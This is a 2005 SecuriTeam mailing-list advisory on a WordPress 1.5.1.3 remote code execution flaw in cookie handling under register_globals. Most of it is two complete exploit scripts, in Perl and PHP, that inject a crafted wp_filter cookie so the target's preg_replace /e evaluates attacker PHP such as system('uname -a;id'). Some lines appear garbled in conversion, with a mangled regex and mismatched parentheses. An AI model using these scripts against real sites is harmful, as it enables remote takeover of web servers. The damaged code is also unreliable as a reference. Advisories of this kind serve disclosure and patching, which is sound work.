

[UNIX] WordPress Command Execution Vulnerability (Cache_lastpostdate)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-08/0053.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 08/10/05

To: list@securiteam.com

Date: 10 Aug 2005 18:17:45 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

WordPress Command Execution Vulnerability (Cache_lastpostdate)

SUMMARY

A vulnerability in WordPress's handling of incoming cookie information allows remote attackers to cause the program to execute arbitrary code if the PHP settings of `register_globals` has been set to On.

DETAILS

Vulnerable Systems:

- * WordPress version 1.5.1.3 and prior (with `register_globals`)

Immune Systems:

- * WordPress version 1.5.1.4 or newer

Perl Exploit:

```
#!/usr/bin/perl
```

```
use strict;
```

```
use MIME::Base64 qw(encode_base64 decode_base64);
```

```
use IO::Socket;
```

```
print "Wordpress <= 1.5.1.3 – remote code execution 0-DDAAYY exploit"
```

Securiteam: [UNIX] WordPress Command Execution Vulnerability (Cache_lastpostdate)

```
(Converted by Noam)\n";
print "(C) Copyright 2005 Kartoffelguru\n\n";
print "[!] info: requires register_globals turned on on target host\n\n";

if (@ARGV < 2)
{
  die ("usage:\n\t./wp_x.php http://www.xyz.net/blog/ 'system(\"uname
-a;id\")';\n\n");
}

my $url = shift;
my $cmd = shift;

if (length($cmd)==0)
{
  $cmd = 'phpinfo()';
}

#print "code: ".encode_base64($cmd, "")."\n";
my @code = unpack("C*", encode_base64($cmd, ""));
#print "code: @code\n";
my $cnv = "";
for (my $i=0;$i<@code; $i++)
{
  $cnv.= "chr(".$code[$i].").";
}
$cnv.="chr(32)";
#print "cnv: $cnv\n";

my $str =
encode_base64('args[0]=eval(base64_decode('.$cnv.')).die()&args[1]=x',
");
#print "str: [$str]\n";

my $cookie='wp_filter[query_vars][0][0][function]=get_lastpostdate;".
"wp_filter[query_vars][0][0][accepted_args]=0;';
$cookie.='wp_filter[query_vars][0][1][function]=base64_decode;".
"wp_filter[query_vars][0][1][accepted_args]=1;';
$cookie.='cache_lastpostmodified[server]=/e;cache_lastpostdate[server]=';
$cookie.=$str;
$cookie.='wp_filter[query_vars][1][0][function]=parse_str;".
"wp_filter[query_vars][1][0][accepted_args]=1;';
$cookie.='wp_filter[query_vars][2][0][function]=get_lastpostmodified;".
"wp_filter[query_vars][2][0][accepted_args]=0;';
$cookie.='wp_filter[query_vars][3][0][function]=preg_replace;".
"wp_filter[query_vars][3][0][accepted_args]=3;';

$url =~ /http:\V\([^\V]+\)\V(.?*)/;

my $hostname = $1;
```

Securiteam: [UNIX] WordPress Command Execution Vulnerability (Cache_lastpostdate)

```
my $path = $2;
my $Request = "GET /$path HTTP/1.1\r
Host: $hostname\r
Cookie: $cookie\r
Referer: $hostname\r
Connection: close\r
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET
CLR 1.1.4322)\r
\r
";
```

```
my $socket = IO::Socket::INET->new ( Proto => "tcp", PeerAddr =>
$hostname, PeerPort => 80);
unless ($socket) { die "cannot connect to http daemon on $hostname" }
```

```
print "Request: [$Request]\n";
print $socket $Request;
```

```
while (<$socket>)
{
    print $_;
}
```

PHP Exploit:

```
<?php
    echo "Wordpress <= 1.5.1.3 – remote code execution 0-DDAAYY
exploit\n";
    echo "(C) Copyright 2005 Kartoffelguru\n\n";
    echo "[!] info: requires register_globals turned on on target
host\n\n";
    if (!extension_loaded('curl')) {
        die ("[-] you need the curl extension activated...\n");
    }

    function usage()
    {
        die ("usage:\n\t./wpv.php -h http://www.xyz.net/blog/ -c
'system(\"uname -a;id\");'\n\n");
    }

    $options = getopt("h:c:");
    if (count($options) < 1 || !isset($options['h'])) {
        usage();
    }

    $host = (is_array($options['h']) ? $options['h'][0]:$options['h']);
    $cmd = (is_array($options['c']) ? $options['c'][0]:$options['c']);

    if (!preg_match("/^http:\\/\\/", $host, $dummy)) {
        usage();
    }
}
```

Securiteam: [UNIX] WordPress Command Execution Vulnerability (Cache_lastpostdate)

```
if (strlen(trim($cmd))==0) {
    $cmd = 'phpinfo(';
}

$code = base64_encode($cmd);
echo "code: $code\n";
$cnv = "";
for ($i=0;$i<strlen($code); $i++) {
    $cnv.= "chr("."ord($code[$i]).").";
}
$cnv.="chr(32)";
echo "cnv: $cnv\n";

$str =
base64_encode('args[0]=eval(base64_decode('.$cnv.')).die(&args[1]=x)');

$cookie='wp_filter[query_vars][0][0][function]=get_lastpostdate;' .
'wp_filter[query_vars][0][0][accepted_args]=0;';
$cookie.='wp_filter[query_vars][0][1][function]=base64_decode;' .
'wp_filter[query_vars][0][1][accepted_args]=1;';

$cookie.='cache_lastpostmodified[server]=//e;cache_lastpostdate[server]=';
$cookie.=$str;
$cookie.='wp_filter[query_vars][1][0][function]=parse_str;' .
'wp_filter[query_vars][1][0][accepted_args]=1;';
$cookie.='wp_filter[query_vars][2][0][function]=get_lastpostmodified;' .
'wp_filter[query_vars][2][0][accepted_args]=0;';
$cookie.='wp_filter[query_vars][3][0][function]=preg_replace;' .
'wp_filter[query_vars][3][0][accepted_args]=3;';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $host);
curl_setopt($ch, CURLOPT_POST, 0);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_REFERER, $host);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE
6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)");
curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
echo "[+] now executing\n\n";

$r = curl_exec($ch);
curl_close($ch);

echo $r;

?>
```

ADDITIONAL INFORMATION

Securiteam: [UNIX] WordPress Command Execution Vulnerability (Cache_lastpostdate)

The information has been provided by Kartoffelguru.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.